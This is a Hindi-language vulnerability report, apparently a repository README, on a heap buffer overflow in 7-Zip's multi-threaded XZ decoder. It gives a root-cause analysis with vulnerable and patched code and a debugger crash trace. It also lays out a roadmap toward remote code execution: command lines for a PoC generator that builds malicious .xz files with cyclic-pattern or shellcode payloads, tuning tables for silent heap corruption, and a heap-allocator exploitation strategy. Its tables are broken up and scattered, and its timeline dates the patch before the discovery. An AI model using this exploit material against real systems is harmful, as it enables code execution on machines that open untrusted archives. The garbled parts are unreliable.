
7-Zip XZ Decoder Heap Buffer Overflow - पूर्ण विश्लेषण, मूल कारण, PoC, और RCE शोषण रोडमैप
गंभीर गंभीरता | CVSS: 8.8 (उच्च) | CWE-122: हीप-आधारित बफर ओवरफ़्लो
प्रभावित: 7-ज़िप ≤ 26.01 | पैच किया गया: 7-ज़िप 26.02 (2026-06-25)
खोज और विश्लेषण: Li Yuxuan (liyuxuan504-byte) और टीम द्वारा
7-ज़िप संस्करण ≤ 26.01 के मल्टी-थ्रेडेड XZ डिकोडर पथ में एक हीप बफर ओवरफ़्लो मौजूद है। एक दुर्भावनापूर्ण रूप से तैयार किया गया .xz संग्रह हीप-आवंटित आउटपुट बफर से परे एक आउट-ऑफ-बाउंड राइट को ट्रिगर कर सकता है, जिसके परिणामस्वरूप:
STATUS_ACCESS_VIOLATION (0xC0000005) के साथ विश्वसनीय क्रैशयह कमजोरी C/XzDec.c में MixCoder_Code() में स्थित है, जहां SingleBuf (outBuf) शाखा शेष बफर क्षमता (outBufSize - outWritten) के विरुद्ध इसे क्लैंप किए बिना LZMA2 डिकोडर को एक अनियंत्रित destLen2 पास करती है।
कोई भी सिस्टम या एप्लिकेशन जो अविश्वसनीय .xz फ़ाइलों को निकालने के लिए कमजोर 7-ज़िप (या 7z.dll) का उपयोग करता है, जोखिम में है — मल्टी-कोर सिस्टम पर मल्टी-थ्रेडेड पथ डिफ़ॉल्ट रूप से सक्षम है।
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
कमजोर (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
फिक्स किया गया (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
फिक्स 3 पंक्तियों का है। यह LZMA2 डिकोडर को पास करने से पहले destLen2 से p->outWritten (इस outBuf में पहले से लिखे गए बाइट्स) घटाता है, यह सुनिश्चित करता है कि डिकोडर आवंटित बफर से परे कभी न लिखे।
सिंगल-थ्रेडेड पथ में, XzUnpacker_Code MixCoder_Code को कॉल करने से पहले अपना स्वयं का unpackSize-आधारित rem क्लैंप लागू करता है। यह क्लैंप आउटपुट को सही ढंग से सीमित करता है। मल्टी-थ्रेडेड SingleBuf पथ इस क्लैंप को बायपास करता है क्योंकि यह destLenOrig को सीधे पास करता है — जब destLen वास्तविक बफर शेष क्षमता के बजाय पूर्ण शेष इनपुट आकार पर पूर्व-सेट होता है तो अपस्ट्रीम क्लैंप अप्रभावी होता है।
outBuf CRT हीप पर ISzAlloc_Alloc(allocMid, unpackSize) के माध्यम से आवंटित किया जाता है:
unpackSize | आवंटक | शोषण क्षमता |
|---|---|---|
| ≤ 16 केबी |
सबसे आशाजनक शोषण दृष्टिकोण:
unpackSize (256–16384 बाइट्स) का उपयोग करेंnext पॉइंटर को भ्रष्ट करें → मनमाना-आवंटन प्रिमिटिव प्राप्त करें| क्षमता | स्थिति |
|---|---|
| DoS (क्रैश) |
पारंपरिक डिबगर्स (x64dbg, WinDbg) प्रक्रिया निर्माण व्यवहार को बदल देते हैं। डिबगर के तहत, 7z.dll कभी भी मल्टी-थ्रेडेड XZ पथ लोड नहीं कर सकता है — प्रक्रिया चुपचाप सिंगल-थ्रेडेड मोड में वापस आ जाती है जहां कमजोरी ट्रिगर नहीं होती है। आवश्यक दृष्टिकोण:
tools/ में प्रदान किया गया)poc/poc-cve-2026-14266-rce.py एक पूर्ण-विशेषताओं वाला XZ शोषण जनरेटर है:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
परीक्षण किया गया: Windows 11 Pro x64 (build 26200) + 7-ज़िप 26.00
मुख्य अंतर्दृष्टि: सभी LFH-रेंज (≤16 केबी) आवंटन साइलेंट ओवरफ़्लो उत्पन्न करते हैं — पेलोड डेटा बिना तत्काल क्रैश के आसन्न हीप ऑब्जेक्ट्स पर लिखा जाता है। यह RCE शोषण के लिए पूर्वापेक्षा है।
एक लाइव x64dbg सत्र से (7-ज़िप 26.00, MT पथ):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c में)7z x -mmt=1 <file.xz>0xC0000005 के साथ 7z.exe के बाहर निकलने की निगरानी करें0xC0000374) पर ध्यान देंunpackSize से अधिक है├── README.md ← यह रिपोर्ट
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 बनाम 26.02 MixCoder_Code() डिफ
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC जनरेटर (चक्रीय/शेलकोड/रॉ)
├── tools/
│ ├── 04-heap-analyze.ps1 ← हीप लेआउट के लिए x64dbg MCP ऑटोमेशन
│ ├── 05-mini-debugger.ps1 ← C# Win32 डीबग API मिनी-डिबगर
│ └── 06-guard-dump.ps1 ← गार्ड-पेज हीप डंपर (LFH विश्लेषण)
└── docs/
├── 01-crash-point-analysis.md ← लाइव क्रैश ट्रेस (x64dbg)
├── 02-vulnerability-root-cause.md ← पूर्ण मूल कारण विश्लेषण
└── 03-rce-exploit-plan.md ← RCE शोषण रणनीति
यह रिपोर्ट केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए है। PoC कोड सुरक्षा शोधकर्ताओं और रक्षकों को कमजोरी को समझने और पहचान क्षमताओं को विकसित करने में मदद करने के लिए प्रदान किया गया है। इस कोड का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है।
| LFH (लो फ्रैग्मेंटेशन हीप) |
| ★ RCE के लिए सर्वश्रेष्ठ — उसी बकेट में आसन्न ऑब्जेक्ट |
| 16–64 केबी | सेगमेंट हीप (बैकएंड) | संभव — फ्री-लिस्ट भ्रष्टाचार |
| ≥ 64 केबी | VirtualAlloc (पेज-संरेखित) | केवल DoS — गार्ड पेज ओवरफ़्लो को फंसाता है |
| ✅ पुष्टि, 7-ज़िप 26.00 x64 पर विश्वसनीय |
| साइलेंट हीप ओवरफ़्लो (LFH) | ✅ पुष्टि — बफर से परे लिखता है, एग्ज़िट कोड 2, कोई क्रैश नहीं |
| नियंत्रित पेलोड वितरण | ✅ LZMA2 कॉपी-चंक डेटा के माध्यम से पूरी तरह से नियंत्रणीय |
| हीप लेआउट प्रिमिटिव्स | ✅ अवधारणा सिद्ध — लक्ष्य-विशिष्ट लेआउट ट्यूनिंग की आवश्यकता है |
| पूर्ण RCE श्रृंखला | ❌ प्रगति पर — लक्ष्य पर हीप लेआउट विश्लेषण की आवश्यकता है |
| पैरामीटर | विवरण | अनुशंसित |
|---|
--unpack-size | ब्लॉक घोषित unpackSize (= outBuf आवंटन आकार) | LFH RCE के लिए 256–4096 |
--overflow | outBuf से परे लिखने के लिए कुल बाइट्स | 4096–32768 |
--chunk-size | LZMA2 कॉपी-चंक डेटा आकार (1–65535) | पूर्ण रूप से unpackSize को विभाजित नहीं करना चाहिए! प्राइम (97) या --force-align-overflow का उपयोग करें |
--payload-cyclic | ऑफसेट खोज के लिए चक्रीय पैटर्न | पहले उपयोग करें, फिर वास्तविक पेलोड से बदलें |
--payload-shellcode | Win x64 WinExec("calc.exe") शेलकोड एम्बेड करें | ~276 बाइट्स |
unpackSize | chunk_size | ओवरफ़्लो | परिणाम |
|---|
| 256 केबी (0x40000) | 4096 (संरेखित) | ~32 केबी | 0xC0000005 — एक्सेस उल्लंघन (गार्ड पेज) |
| 256 केबी | 3 (मूल DoS) | ~30 केबी | 0xC0000005 — एक्सेस उल्लंघन |
| 256 केबी | 4096 | ~32 केबी | 0xC0000374 — हीप भ्रष्टाचार का पता चला |
| 256 बी | 97 | ~1 केबी | एग्ज़िट 2 — साइलेंट ओवरफ़्लो! |
| 4 केबी | 97 | ~16 केबी | एग्ज़िट 2 — साइलेंट ओवरफ़्लो! |
| 16 केबी | 97 | ~32 केबी | एग्ज़िट 2 — साइलेंट ओवरफ़्लो! |
| तिथि | घटना |
|---|
| 2026-07-24 | 7-ज़िप 26.00 पर कमजोरी का पता चला और पुष्टि हुई |
| 2026-07-24 | क्रैश PoC विकसित; लाइव डिबगिंग हीप ओवरफ़्लो की पुष्टि करती है |
| 2026-07-24 | मूल कारण की पहचान: MixCoder_Code में destLen2 -= outWritten गायब |
| 2026-07-24 | LFH शोषण रणनीति के साथ RCE PoC जनरेटर विकसित |
| 2026-07-25 | पूर्ण विश्लेषण रिपोर्ट प्रकाशित |
| 2026-06-25 | 7-ज़िप 26.02 फिक्स के साथ जारी |